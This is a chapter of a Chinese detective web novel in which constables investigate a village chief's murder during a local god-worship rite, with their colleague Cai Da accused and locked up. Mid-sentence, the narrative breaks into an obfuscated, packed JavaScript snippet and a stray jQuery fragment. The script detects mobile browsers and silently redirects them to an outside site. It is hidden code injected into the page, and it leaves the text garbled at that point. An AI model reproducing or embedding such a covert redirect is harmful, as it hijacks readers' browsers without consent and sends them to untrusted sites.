“出了什么事?”梁蔚然很想追上郑敏,向她解释清楚,但是吴春苗一副急得快要哭出来的样子,又事关蔡达,他不能放任不管,“慢慢说。”
半个月前,蔡达奉梁京令之命带领吴春苗并一干人等前去京郊村子收税,五天前,两人一同到达曲村。
整个村子都在为即将到来的祁神仪式做准备,里长很客气,直接为二人安排住处,并说等到仪式结束之后,再商量收税之事。
蔡达当然不答应,他日日前去里长家中劝说,可都无功而返。
直至昨晚,蔡达又前去里长家中商议,结果一直到今早都未曾回到借住之地,吴春苗寻过去之时,里长夫人却说昨晚里长在家中遇害,凶手正是蔡达。
“蔡捕快他不可能杀人。”吴春苗将事情来龙去脉解释清楚,向梁蔚然求救,“可是村民们非说,他杀害里长破坏祁神仪式,会使神明降怒,说是、说是要在三日后火烧蔡捕快,平息神明怒火。”
里长一死,村民们失去主心骨,即使吴春苗搬出梁京府衙亦无法震慑愤怒的村民。
“事不宜迟,先动身去曲村。”梁蔚然听后,知道失去理智的村民不可控制,若是稍微处理不当,便会让蔡达处于危险之中,于是点了几个人带上兵器,当即前去曲村。
他虽然在郑敏的帮助下查过几个案子,如今却要独自办案,又事关蔡达的性命,梁蔚然心中没有把握,行至城门处时,还是让孙平留下,想办法联系郑敏。
曲村距梁京有半日的路程,等梁蔚然带人赶到,已近黄昏。
在吴春苗的带领下,几人来到里长家,蔡达被锁在柴房之中。
“几位官爷,若是要救里头的那位捕快,还是请回吧。”梁蔚然带人大摇大摆进村,里长夫人早就收到风声,派人在门口候着。
梁蔚然翻身下马,上前一步对门口侍女说道:“你们可有确切证据证明,蔡捕快是凶手。”
“当然。”侍女昂着头,底气十足,“发现他时,他倒在血泊之中,手里还拿着刀。”
“你们发现他时,他处于昏迷之中,说明现场还有其他人在。”梁蔚然审视着侍女,一个眼神示意身后的捕快上前。
面对梁蔚然的责问与雪亮的刀光,侍女下意识后退一步,说不出反驳的话语。
“叫你主子出来。”
侍女进去后不久,从里面走出来一位身着孝服的女子,正是里长夫人王梅。
“几位捕爷,不知各位大驾,有失远迎,快里面请。”王梅一边笑着,一边打量着领头的梁蔚然,见到他如此年轻,在心里翻了个白眼,“方才是侍女不懂事,还望几位不要与她一般见识。”
王梅打量梁蔚然的同时,梁蔚然也在观察她。
眼前人身着孝服,头簪白花,一眼便能看出家有丧事。可是仔细观察后,却能发现她发髻一丝不苟,气色尚佳,眼角眉梢之间看不出任何悲痛伤心之意,除去一身白衣,完全看不出她昨晚才死了丈夫。
“昨晚究竟是怎么一回事?”
孙平接到梁蔚然之命前去寻找郑敏,但是梁京这么大,郑敏离去前并没有提起她在何处落脚,他完全没有头绪,只得先去郑敏入狱之前的家附近碰碰运气。
好在他运气尚算不错,来到被查封的小院前,发现门上封条被撕开,孙平心中一喜,推门走了进去。
“郑娘子?”
“谁?”屋内的郑敏,与对面站着的黑衣人对视一眼,警惕地看向门外。
“郑娘子,我是孙平。”孙平等了半晌,却并未见到郑敏出门,只好继续说道,“梁捕头碰上些麻烦,特地派我来向您求助。”
郑敏仍旧没有说话。
孙平想到今早她与梁蔚然的情形,又加上一句。
“虽然您与梁捕头之间有矛盾,但是此事事关蔡捕快,您不能见死不救啊。”
“出了何事?”孙平见到郑敏推门而出的身影,激动地快要落下泪来,三两步冲到郑敏面前,一把抓起她的胳膊,“时间急迫,我们边走边说。”
孙平心系蔡达,急匆匆将门锁好便带着郑敏前往曲村,丝毫没有意识到院子里第三人的存在。
“前面就是曲村。”孙平在来的路上,已经简单向郑敏介绍发生何事,只是都是从吴春苗口中得知零星信息,对真正发生何事也是一头雾水,他与郑敏在写有曲村的巨石面前停下,“我也不知道里长家在何处。”
郑敏瞧了眼沉下来的夜幕,示意孙平先进村再说。
“进去找户人家问问。”
二人往前走了四五百里后,终于见到一户人家,郑敏下马前去敲门,却并未得到对方回应,一连敲了几户都是如此。
直到孙平快要放弃时,终于有一户人家给他们开了门。
“你们是谁?”大门开启一道缝,一双警惕的眼睛从里面探出来,打量着二人。
“请问你知道里长家在何处吗?”
少女看着郑敏,觉得她不像坏人,伸手指了指西边,道:“往西走,看见一户挂着白灯笼的人家,就是里长家。”
“多谢告知。”郑敏颔首致谢,就要转身往西走时,却被少女拦下。
“这位……姐姐,你要去里长家有何事?”少女不待郑敏回话,继续说道,“如果没有要紧事,就不要去了。”
“为何?”郑敏与孙平对视一眼,对少女的话感到奇怪。
“里长家中昨晚出了事,里长夫人现在恐怕不见客。”
“无妨。”郑敏笑着朝她招招手,“快回去吧,晚间记得锁好门窗。”
等到郑敏与孙平赶到里长家中,梁蔚然已将事情的来龙去脉问清楚。
“郑娘子。”梁蔚然听到敲门声后,出来发现是郑敏,心里踏实很多,只是想到今早郑敏的态度,放下的心又提起来,站在原地不知如何与她招呼。
“梁捕头。”郑敏没有多说什么,只问起案件相关,“你可曾去现场看过?”
“看过,只是……”梁蔚然摇摇头将郑敏带到一间房前,方才他向王梅威逼利诱,才成功说服王梅,让她带着家中婢女另寻住处,将整个院子空出来。
他推开房门,整洁的房间映入郑敏眼前。
屋中十分干净,地上铺了浸过桐油的红木地板,被擦得锃光瓦亮,在烛光的照耀下十分晃眼,郑敏打量一圈,没有看到任何血迹,若不是梁蔚然提起,根本看不出这间房刚死过人。
“凶器呢?”
梁蔚然挥挥手,吴春苗将一把包着白布的匕首递给郑敏。
“这原本是为祁神仪式准备的匕首,昨晚就放在这间房中供奉。”
郑敏顺着梁蔚然的手,指向房中所设神龛,神龛中刻着神女浮雕,上面不见香炉牌位,只有一个放着刀鞘的架子。
“祁神仪式?”郑敏没有在神龛上看见不妥之处,房间被打扫得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457895|169598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
干干净净亦看不出什么异常,只是她对梁蔚然口中的祁神仪式十分不解。
“是曲村特有的祭祀仪式。”梁蔚然对所谓祁神的了解,全部来自王梅,“为了祈求来年风调雨顺农事顺利,曲村之人每年会设祭坛祭祀。”
许多偏远村落都信奉神明,郑敏对此并不奇怪。
“里长的尸体呢?”
“在后院。”因有死者,梁蔚然特地将刘忤作带来,可是王梅却拦着不让验尸,他只能让刘忤作粗略看上几眼,结果并不准确,“刘忤作初步判断,里长是生前遭凶器所伤,伤口在后心处,不致命但是没有及时处理,导致失血过多而亡。”
等二人来到后院,郑敏一眼便瞧出里长所在,那口棺木就摆在后院正中央,棺木前摆着一个香炉,却并非是常见的样式,上面纹样同神龛上的画像有几分相像。
王梅还在棺木旁特地留了一个老仆看守,梁蔚然无法越过他强行验尸,若是争执中不慎伤了老仆,恐怕在此地的调查更会寸步难行。
在老仆警惕的目光中,郑敏上前摸了摸棺木上的祥云纹,发现油漆早已干透,像是提前备好了的,转头询问一旁的老仆:“老人家,这个棺木是何时准备的?”
那老仆盯着郑敏瞧了许久,才开口道:“自然是别家借来的。”
从后院出来,郑敏还是决定先去见见蔡达,毕竟他是昨晚唯一在场的自己人。
蔡达仍被锁在柴房之中,梁蔚然本想放他出来,谁知王梅并不松口,只好先关着。
“蔡捕快,还记得那晚发生何事?”
蔡达听到郑敏问话,烦躁地踹了木门一脚,怒声道。
“我没有杀人!”
“蔡捕快,我们知道你没有杀人。”隔着门,郑敏轻声安抚道,“这里只有你知道昨晚发生何事,告诉我们,我们才能查明真相,还你清白。”
“我的清白有那么重要?”蔡达梗着脖子,心中仍是对梁蔚然的怨气,“没有我添乱,梁捕头恐怕更自在。”
不管郑敏与梁蔚然如何劝说,蔡达都不肯说出昨晚之事,无奈之下两人只好先放弃,等到明日问过王梅之后再做打算。
“假设里长死在这间房中,案发现场离主屋很近,里长夫人不会对这里发生之事一无所知。”
梁蔚然敲敲柴房的门,听着里面传出的冷笑,叹息一声,同意郑敏的提议。
“郑娘子请先留步,我尚有事情要同你说。”
“若是大赦名单一事,梁捕头便不必说了。”但郑敏并未同意与他谈话,只留下一句莫名其妙的话语,便径自离去休息。
独留梁蔚然站在原地。
“头儿,先休息吧。”院中只剩下孙平与梁蔚然两人,他慢慢踱步走到梁蔚然面前,劝说道。
“今日,郑娘子为何离开府衙。”
孙平听得一头雾水,摸摸脑袋朝梁蔚然说道:“不是您将郑娘子放入大赦名单之中吗?”
原本大赦是在年节之前放人,但是今早孙平收到李长海命令,即刻放郑敏恢复自由。
前几天蔡达在府衙找李长海闹了一通,府衙有不少人都知道梁蔚然身份尊贵,孙平亦不例外,所以今早收到命令时,下意识以为是梁蔚然的手笔,所以也这么回答。
梁蔚然眉头皱起,明明郑敏已经拒绝大赦一事,为何如今又提起,还有究竟是谁与李长海通气,提前放出郑敏,他百思不得其解。